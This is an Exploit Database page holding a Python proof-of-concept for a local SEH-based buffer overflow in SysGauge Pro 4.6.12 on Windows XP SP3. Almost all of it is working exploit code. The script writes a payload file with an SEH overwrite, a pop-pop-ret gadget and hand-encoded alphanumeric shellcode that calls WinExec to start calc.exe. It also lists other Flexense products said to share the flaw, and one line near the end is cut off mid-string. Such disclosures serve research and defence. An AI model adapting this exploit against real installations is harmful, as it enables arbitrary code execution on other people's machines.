



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

SysGauge Pro 4.6.12 - Local Buffer Overflow (SEH)

EDB-ID:

44455

CVE:

N/A

EDB Verified: 

Author:

[HASHIM JAWAD](#)

Type:

[LOCAL](#)

Exploit:  

Platform:

[WINDOWS](#)

Date:

2018-04-16

Vulnerable App: 





EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

```
#!/usr/bin/python
#####
# Exploit Title      : SysGauge Pro v4.6.12 - Local Buffer Overflow (SEH)
#
# Exploit Author     : Hashim Jawad
#
# Twitter            : @ihack4falafel
#
# Author Website     : ihack4falafel[.]com
#
# Vendor Homepage    : http://www.sysgauge.com/
#
# Vulnerable Software :
http://www.sysgauge.com/setups/sysgaugepro_setup_v4.6.12.exe
#
# Tested on          : Windows XP Professional - SP3
#
# Steps to reproduce : ~ Copy content of payload.txt
#
#                   ~ Under Register type in "falafel" in Customer Name
field                                     #
#                   ~ Paste the content of payload.txt in Unlock Key
field and click Register                 #
#####

import struct

# ***notes***
# ~ this particular function [Register] of the program only accept
characters [00-7f] excluding "\x00\x09\x0a\x0d"
# ~ found two application dlls [QtGui4.dll] & [libdgg.dll] that have plenty
of [pop, pop, ret] with clean address
# ~ the following are Flexense products effected by the same vulnerability
(note buffer size and offsets may vary)
#####
# ~ SysGauge Ultimate v4.6.12
# ~ Azure DEX Pro v2.2.16
# ~ Azure DEX Ultimate v2.2.16
# ~ DiskBoss Pro v9.1.16
# ~ DiskBoss Ultimate v9.1.16
# ~ SyncBreeze Pro v10.7.14
# ~ SyncBreeze Ultimate v10.7.14
# ~ DiskPulse Pro v10.7.14
# ~ DiskPulse Ultimate v10.7.14
# ~ DiskSavvy Pro v10.7.14
# ~ DiskSavvy Ultimate v10.7.14
# ~ DiskSorter Pro v10.7.14
# ~ DiskSorter Ultimate v10.7.14
# ~ DupScout Pro v10.7.14
# ~ DupScout Ultimate v10.7.14
# ~ VX Search Pro v10.7.14
# ~ VX Search Ultimate v10.7.14
#####

# overwrite SEH with clean address of [pop, pop, ret]
buffer = "\x41" * 780 # junk to nSEH
buffer += "\x74\x06\x42\x42" # nSEH - jump if
zero flag is set (always true)
buffer += struct.pack('<L', 0x10013d16) # SEH (pop esi #
pop ecx # ret | [libdgg.dll])
buffer += "\x43" * 28 # some more junk

# push calc.exe instructions [encoded] into the stack
# Disassembly:
# 0: 33 c0          xor    eax,eax          # zero out eax
register
# 2: 50             push   eax              # push eax (null-
```



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

```

byte) to terminate "calc.exe"
# 3: 68 2E 65 78 65      push  ".exe"          # push the ASCII
string to the stack
# 8: 68 63 61 6C 63      push  "calc"          #
# d: 8b c4               mov   eax,esp         # put the pointer to
the ASCII string in eax
# f: 6a 01               push  0x1             # push uCmdShow
parameter to the stack
# 11: 50                 push  eax             # push the pointer
to lpCmdLine to the stack
# 12: bb 5d 2b 86 7c      mov   ebx,0x7c862b5d  # move the pointer
to WinExec() [located at 0x7c862b5d in kernel32.dll (via arwin.exe) on
WinXP SP3] into ebx
# 17: ff d3               call  ebx             # call WinExec()

# divide calc.exe instructions to 4-byte chunks and pad what's left with
nops
# "\x33\xc0\x50\x68"
# "\x2e\x65\x78\x65"
# "\x68\x63\x61\x6c"
# "\x63\x8b\xc4\x6a"
# "\x01\x50\xbb\x5d"
# "\x2b\x86\x7c\xff"
# "\xd3\x90\x90\x90"

# starting from the bottom up in little endian order
# first  push "\x90\x90\x90\xd3"
#####
# zero out eax
buffer += "\x25\x10\x10\x10\x10"    ### and eax, 0x10101010
buffer += "\x25\x01\x01\x01\x01"    ### and eax, 0x01010101

# move "\x90\x90\x90\xd3" into eax and push it to the stack
buffer += "\x05\x72\x70\x70\x70"    ### add eax,0x70707072
buffer += "\x05\x61\x20\x20\x20"    ### add eax,0x20202061
buffer += "\x50"                      ### push eax
#####

# second  push "\xff\x7c\x86\x2b"
#####
# zero out eax
buffer += "\x25\x10\x10\x10\x10"    ### and eax, 0x10101010
buffer += "\x25\x01\x01\x01\x01"    ### and eax, 0x01010101

# move "\xff\x7c\x86\x2b" into eax and push it to the stack
buffer += "\x05\x01\x32\x35\x66"    ### add eax,0x66353201
buffer += "\x05\x15\x32\x35\x66"    ### add eax,0x66353215
buffer += "\x05\x15\x22\x12\x33"    ### add eax,0x33122215
buffer += "\x50"                      ### push eax
#####

# third   push "\x5d\xbb\x50\x01"
#####
# zero out eax
buffer += "\x25\x10\x10\x10\x10"    ### and eax, 0x10101010
buffer += "\x25\x01\x01\x01\x01"    ### and eax, 0x01010101

# move "\x5d\xbb\x50\x01" into eax and push it to the stack
buffer += "\x05\x01\x30\x65\x36"    ### add eax,0x36653001
buffer += "\x05\x01\x20\x56\x27"    ### add eax,0x27562001
buffer += "\x48"                      ### dec  eax
buffer += "\x50"                      ### push eax
#####

# fourth  push "\x6a\xc4\x8b\x63"
#####
# zero out eax
buffer += "\x25\x10\x10\x10\x10"    ### and eax, 0x10101010
buffer += "\x25\x01\x01\x01\x01"    ### and eax, 0x01010101

```

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```

#####
# move "\x6a\xc4\x8b\x63" into eax and push it to the stack
buffer += "\x05\x32\x46\x70\x35"      ### add eax,0x35544632
buffer += "\x05\x31\x43\x70\x35"      ### add eax,0x35704531
buffer += "\x50"                        ### push eax
#####

# fifth  push "\x6c\x61\x63\x68"
#####
# zero out eax
buffer += "\x25\x10\x10\x10\x10"      ### and eax, 0x10101010
buffer += "\x25\x01\x01\x01\x01"      ### and eax, 0x01010101

# move "\x6c\x61\x63\x68" into eax and push it to the stack
buffer += "\x05\x34\x32\x31\x36"      ### add eax,0x36313234
buffer += "\x05\x34\x31\x30\x36"      ### add eax,0x36303134
buffer += "\x50"                        ### push eax
#####

# sixth  push "\x65\x78\x65\x2e"
#####
# zero out eax
buffer += "\x25\x10\x10\x10\x10"      ### and eax, 0x10101010
buffer += "\x25\x01\x01\x01\x01"      ### and eax, 0x01010101

# move "\x65\x78\x65\x2e" into eax and push it to the stack
buffer += "\x05\x17\x33\x34\x33"      ### add eax,0x33343317
buffer += "\x05\x17\x32\x44\x32"      ### add eax,0x32443217
buffer += "\x50"                        ### push eax
#####

# seventh push "\x68\x50\xc0\x33"
#####
# zero out eax
buffer += "\x25\x10\x10\x10\x10"      ### and eax, 0x10101010
buffer += "\x25\x01\x01\x01\x01"      ### and eax, 0x01010101

# move "\x68\x50\xc0\x33" into eax and push it to the stack
buffer += "\x05\x22\x60\x30\x34"      ### add eax,0x34306022
buffer += "\x05\x11\x60\x20\x34"      ### add eax,0x34206011
buffer += "\x50"                        ### push  eax
#####

# push 20 nops to the stack for padding
#####
# zero out eax
buffer += "\x25\x10\x10\x10\x10"      ### and eax, 0x10101010
buffer += "\x25\x01\x01\x01\x01"      ### and eax, 0x01010101

# move "\x90\x90\x90\x90" into eax and push it to the stack
buffer += "\x05\x70\x70\x70\x70"      ### add eax,0x70707070
buffer += "\x05\x20\x20\x20\x20"      ### add eax,0x20202020
buffer += "\x50"                        ### push eax
buffer += "\x50"                        ### push eax
buffer += "\x50"                        ### push eax
buffer += "\x50"                        ### push eax
buffer += "\x50"                        ### push eax
buffer += "\x50"                        ### push eax
#####

# push "jmp esp" address [encoded] to the stack
# 0x6709e053 : "\xff\xe4" | [QtCore4.dll] ASLR: False, Rebase: False,
SafeSEH: False, OS: False, (C:\Program Files\SysGauge Pro\bin\QtCore4.dll)
# 0: 25 10 10 10 10      and    eax,0x10101010
# 5: 25 01 01 01 01      and    eax,0x1010101
# a: 05 31 70 03 34      add    eax,0x34037031
# f: 05 22 70 06 33      add    eax,0x33067022
# 14: 50                  push   eax

```

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```

buffer +=
"\x25\x10\x10\x10\x10\x10\x25\x01\x01\x01\x01\x05\x31\x70\x03\x34\x05\x22\x70\x06

# the program converts "\xff" to "c3" [retn instruction] thus popping
previously pushed to the stack address "jmp esp" to eip ;)
buffer += "\xff"
buffer += "C" * (50000-780-4-4-28-21-21-26-22-21-21-21-21-25-1)   ### junk
try:
    f=open("payload.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(buffer)
    f.write(buffer)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"

```

Tags:

Advisory/Source: [Link](#)



Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#)



[OffSec Services Limited](#) 2026. All rights reserved.